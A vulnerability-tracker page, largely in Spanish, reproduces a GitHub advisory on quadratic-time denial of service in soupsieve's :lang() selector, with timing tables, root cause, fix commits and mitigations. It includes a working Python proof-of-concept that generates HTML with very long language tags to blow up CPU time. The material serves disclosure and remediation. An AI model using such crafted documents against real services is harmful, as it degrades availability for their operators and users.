llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · soupsieve

GHSA-GCQ2-P324-QJ2V

soupsieve matches a `:lang()` selector in time quadratic in the size of the document being searched, so a 136 KB document takes 20.8 seconds of CPU to match

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición2 dDesde la divulgación, 18 nov 2026, 12:29 p. m.
Detección5 hDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.1.2
Monitoreo
Detectada +1
12:29 p. m.
05:05 p. m.
04:05 a. m.
12:29 p. m.
04:23 a. m.
08:17 p. m.
12:11 p. m.
04:05 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-GCQ2-P324-QJ2V divulgada · CVSS 7.5 (GitHub)
Remediación Parche 4.1.2 soupsieve · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

soupsieve matches a `:lang()` selector in time quadratic in the size of the document the selector runs over. In the current release, 4.1.1, the language of an element is validated and matched against the selector's language ranges once per element instead of once per distinct language, so the cost of a single `select()` call is the number of elements multiplied by the length of the language tag they share.

The fix is already written: it is in commit `eb0749e82e98d292c7e7742d1efc2346375c1a63` on the `main` branch, and the changelog files it under 4.1.2. No released version contains it, so 4.1.1 and every earlier release are affected. Quadratic-time denial of service in other parts of this package has been published as an advisory with a CVE ID, and this is the same class of defect.

Impact

An application that applies a `:lang()` selector to HTML it did not author spends CPU time that grows with the square of the size of that HTML. On the reference machine a single 136 KB document takes 20.8 seconds to match, and a 68 KB document takes 3.4 seconds.

The attacker needs nothing beyond control of the document. There is no account, no privilege, no interaction from the victim, and no access to the host other than supplying the HTML.

Preconditions:

  • the application runs a soupsieve selector that contains `:lang()`, which covers `BeautifulSoup.select()` and `BeautifulSoup.select_one()`;
  • the HTML the selector runs over is something the attacker can influence, such as submitted content, a stored comment, or a page the application fetched.

`:lang()` is an ordinary selector for pulling the text of a page in one language, so applications that use it are not unusual.

Severity

CVSS 3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, high).

AV:N because the attacker supplies the document over the network. AC:L because building one needs a text editor. PR:N and UI:N because the attacker holds no privilege in the application and no victim action is required. C:N and I:N because nothing is read or modified. A:H because the cost grows without bound as the document grows.

Two advisories already published for this package carry the same vector for the same class: GHSA-mmhr-3c5m-f64f (descendant combinator) and GHSA-98qm-p6jx-5wj2 (nth cache).

Reproduction

Install the published release and run the attached script:

pip install soupsieve==4.1.1 beautifulsoup4
python poc.py

Output on 4.1.1:

soupsieve 4.1.1
selector: p:lang(en)

 elements  lang tag   document    seconds   ratio  matched
------------------------------------------------------------
      500       500       8536      0.071       -      500
     1000      1000      17036      0.233   3.26x     1000
     2000      2000      34036      0.854   3.66x     2000
     4000      4000      68036      3.402   3.98x     4000
     8000      8000     136036     20.790   6.11x     8000

Doubling the document quadruples the time, which is the signature of a
quadratic algorithm rather than a linear one.

Each step doubles the number of elements and the length of the language tag, so the document doubles in size and the time grows by roughly four. The same script run against the `main` branch, which carries the fix, stays linear and finishes the largest step in 0.135 seconds. That branch still reports version 4.1.1 because the version bump has not happened yet:

soupsieve 4.1.1
selector: p:lang(en)

 elements  lang tag   document    seconds   ratio  matched
------------------------------------------------------------
      500       500       8536      0.008       -      500
     1000      1000      17036      0.016   1.90x     1000
     2000      2000      34036      0.034   2.15x     2000
     4000      4000      68036      0.067   1.98x     4000
     8000      8000     136036      0.135   2.01x     8000

The time grows linearly with the size of the document.

PoC source:

#!/usr/bin/env python3
"""
PoC: soupsieve matches :lang() selectors in time quadratic in the size of the
document being searched.

When many elements share one long language tag (inherited from <html lang>),
soupsieve re-validates and re-matches that tag for every element it tests, so
the work is proportional to (number of elements) x (length of the language tag).
Growing the document makes the work grow with the square of its size.

Run against the published release:

    pip install soupsieve==4.1.1 beautifulsoup4
    python poc.py

Nothing here touches the network, the filesystem, or any account.
"""
import time

from bs4 import BeautifulSoup

import soupsieve as sv

SELECTOR = "p:lang(en)"


def make_document(n_elements, n_subtags):
    """One document: a long language tag on <html>, and n_elements <p> elements."""
    lang = "en-" + "-".join(["abcdefgh"] * n_subtags)
    markup = f'<html lang="{lang}"><body>' + "<p>x</p>" * n_elements + "</body></html>"
    return markup, BeautifulSoup(markup, "html.parser")


def measure(soup, repeats=3):
    """Return the best wall-clock time of SELECTOR matching, in seconds."""
    best = None
    matched = 0
    for _ in range(repeats):
        start = time.perf_counter()
        matched = len(sv.select(SELECTOR, soup))
        elapsed = time.perf_counter() - start
        if best is None or elapsed < best:
            best = elapsed
    return best, matched


def main():
    print("soupsieve", sv.__version__)
    print("selector:", SELECTOR)
    print()
    print(f"{'elements':>9} {'lang tag':>9} {'document':>10} {'seconds':>10} {'ratio':>7} {'matched':>8}")
    print("-" * 60)

    # The document doubles in size at every step: elements and language tag
    # subtags both double, so the work should grow fourfold if it is quadratic.
    previous = None
    ratios = []
    for n in (500, 1000, 2000, 4000, 8000):
        markup, soup = make_document(n, n)
        seconds, matched = measure(soup)
        ratio = f"{seconds / previous:.2f}x" if previous else "-"
        print(f"{n:9d} {n:9d} {len(markup):10d} {seconds:10.3f} {ratio:>7} {matched:8d}")
        if previous:
            ratios.append(seconds / previous)
        previous = seconds

    print()
    if ratios and max(ratios) > 3.0:
        print(
            "Doubling the document quadruples the time, which is the signature of a"
        )
        print("quadratic algorithm rather than a linear one.")
    else:
        print("The time grows linearly with the size of the document.")


if __name__ == "__main__":
    main()

The cost is the product of the two dimensions. Holding the tag length fixed and doubling the elements doubles the time, holding the element count fixed and doubling the tag doubles the time, and doubling both multiplies the time by four:

| elements | language tag subtags | document bytes | seconds |
|---|---|---|---|
| 2000 | 1000 | 25036 | 0.511 |
| 4000 | 1000 | 41036 | 1.015 |
| 8000 | 1000 | 73036 | 2.090 |
| 2000 | 2000 | 34036 | 0.904 |
| 2000 | 4000 | 52036 | 1.764 |
| 4000 | 2000 | 50036 | 1.860 |

Both public entry points are affected. On a 68 KB document, `soupsieve.select()` took 3.814 s and `BeautifulSoup.select()` took 3.412 s.

Affected versions
  • `soupsieve==4.1.1` (current latest, published 2026-11-14): vulnerable
  • `soupsieve==4.1`, `4.0.1`, `3.0.4`, `2.10`, `2.7`, `2.6`, `2.3`, `2.0`: verified vulnerable
  • no released version contains the fix
Mitigation

Until 4.1.2 is released:

  • do not run a `:lang()` selector over HTML that an attacker can supply;
  • where the application controls the selector, match the attribute directly with `[lang|=en]` instead of `:lang(en)`. The attribute selector does not resolve the language of the element, so it costs one comparison per element. It does not follow inheritance, so it only behaves like `:lang()` when the language is set on the element itself;
  • where the application accepts a selector from someone else, compile it with `soupsieve.compile(selector, ignore=('lang',))`. A `:lang()` selector then raises `SelectorSyntaxError` instead of being evaluated;
  • limit the size of the document that is parsed and matched.
Root cause

`CSSMatch.match_lang()` in `soupsieve/css_match.py` resolves the language of the element and then validates and matches it against the selector's language ranges on every element it tests. `resolve_lang()` caches the resolved language per element, but the validation (`RE_LANG_TAG.fullmatch()`) and the range comparison (`extended_language_filter()`) that follow it are not cached, so each element that shares a language pays again for parsing and comparing that language tag. The cost of one `select()` call is the number of elements multiplied by the length of the language tag they share.

Proposed fix

The fix is already committed upstream. Commit `eb0749e82e98d292c7e7742d1efc2346375c1a63` memoizes the match per distinct language in `self.lang_match_cache`, and commit `135916c149180d9d2c4da0d0244e3f89926a4c8b` replaces the list of cached content languages with a lookup keyed by root. Both are on `main` and neither is in a released version. Shipping them as 4.1.2 resolves this report.

A second quadratic path in the same feature

This one is already known publicly. Issue #365, "Fix quadratic time in :lang() with many top level elements", reports it, and the fix in commit `135916c149180d9d2c4da0d0244e3f89926a4c8b` is on `main`. It is repeated here because that fix is unreleased as well, so 4.1.1 still carries it.

`resolve_lang()` keeps the content language found in the header of each root in `self.cached_meta_lang`, a list, and searches the whole list for every new root.

A fragment with many top-level elements, each with its own `<head><meta http-equiv="content-language">`, therefore costs time quadratic in the number of roots. `html.parser` produces such a fragment from concatenated documents.

| roots | document bytes | seconds on 4.1.1 | seconds on main |
|---|---|---|---|
| 500 | 48000 | 0.065 | 0.032 |
| 1000 | 96000 | 0.197 | 0.066 |
| 2000 | 192000 | 0.661 | 0.126 |
| 4000 | 384000 | 2.301 | 0.259 |
| 8000 | 768000 | 8.657 | 0.520 |

Commit `135916c149180d9d2c4da0d0244e3f89926a4c8b` replaces the list with a dict keyed by `id(root)`, and the current `main` branch drops the cache entirely. Both changes are in the same unreleased 4.1.2.

References
  • commit eb0749e82e98d292c7e7742d1efc2346375c1a63, "Fix performance with long language name": https://github.com/facelessuser/soupsieve/commit/eb0749e82e98d292c7e7742d1efc2346375c1a63
  • commit 135916c149180d9d2c4da0d0244e3f89926a4c8b, "Fix quadratic time in :lang() with many top level elements (#365)": https://github.com/facelessuser/soupsieve/commit/135916c149180d9d2c4da0d0244e3f89926a4c8b
  • issue #365, "Fix quadratic time in :lang() with many top level elements": https://github.com/facelessuser/soupsieve/issues/365
  • GHSA-mmhr-3c5m-f64f, polynomial-time denial of service in the descendant combinator: https://github.com/facelessuser/soupsieve/security/advisories/GHSA-mmhr-3c5m-f64f
  • GHSA-98qm-p6jx-5wj2, CPU denial of service when the nth cache is defeated: https://github.com/facelessuser/soupsieve/security/advisories/GHSA-98qm-p6jx-5wj2
Disclosure

Found by Torch4084, November 2026.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
soupsieve≥ 2.0 ≤ 4.1.1
2.0
4.1.1
4.1.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypisoupsieve
Corregida 4.1.2 0 d 4.1.2 no afectada
Versiones corregidas4.1.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/facelessuser/soupsieve/security/advisories/GHSA-gcq2-p324-qj2v

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.